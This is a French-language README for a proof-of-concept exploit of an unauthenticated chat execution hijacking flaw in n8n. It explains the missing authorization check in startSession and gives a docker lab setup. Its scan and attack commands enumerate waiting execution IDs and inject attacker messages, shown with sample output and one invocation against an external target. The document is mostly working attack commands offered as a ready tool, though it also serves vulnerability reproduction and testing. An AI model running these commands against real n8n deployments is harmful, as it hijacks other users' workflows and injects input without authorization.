
Preuve de concept d'exploitation pour CVE-2026-42228, une vulnérabilité de détournement d'exécution de chat non authentifiée dans n8n, avec des scripts automatisés de scan et d'attaque.
CVE: CVE-2026-42228
Gravité: Élevée
Versions concernées: n8n < 1.123.32
Corrigé dans: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession() accepte un executionId dans la chaîne de
requête WebSocket et vérifie uniquement que l'exécution existe dans la base de
données. Il ne vérifie jamais que l'appelant est autorisé à accéder à cette
exécution.
Un attaquant non authentifié qui connaît (ou peut énumérer) un identifiant d'exécution numérique valide pour une exécution dans l'état en attente peut :
/chat sans informations d'identification.Conditions préalables :
waiting.chmod +x exploit.sh
./exploit.sh setup
Cette commande récupère n8nio/n8n:1.123.22 (dernière version affectée), construit
l'image de l'attaquant et démarre la cible vulnérable à http://localhost:5678.
http://localhost:5678 et terminez l'assistant de configuration (n'importe quelles informations d'identification).Ouvrez l'URL de chat publique affichée dans le nœud Chat Trigger et envoyez un message. L'exécution passera à l'état en attente, suspendue en attendant la prochaine réponse du chat.
./exploit.sh scan
# ou spécifiez une plage :
./exploit.sh scan 1 500
Sortie attendue lorsqu'une exécution vulnérable est trouvée :
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# ou avec une charge utile personnalisée :
./exploit.sh attack 7 "message injecté personnalisé"
De retour dans l'éditeur n8n, le workflow reprend avec le message injecté par l'attaquant au lieu de l'entrée de l'utilisateur légitime.
# Construire l'image de l'attaquant
docker build -t n8n-chat-hijack-poc .
# Rechercher (se connecte au réseau de laboratoire partagé)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# Attaquer une exécution spécifique
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# Contre une cible externe (aucun indicateur réseau requis)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
Arrête les conteneurs et supprime les volumes (y compris la base de données SQLite).
| Fichier | Description |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | PoC Python autonome |
Dockerfile |
| Image du conteneur de l'attaquant |
docker-compose.yml | Laboratoire complet : n8n vulnérable + attaquant |
exploit.sh | Script d'assistance pour les opérations courantes |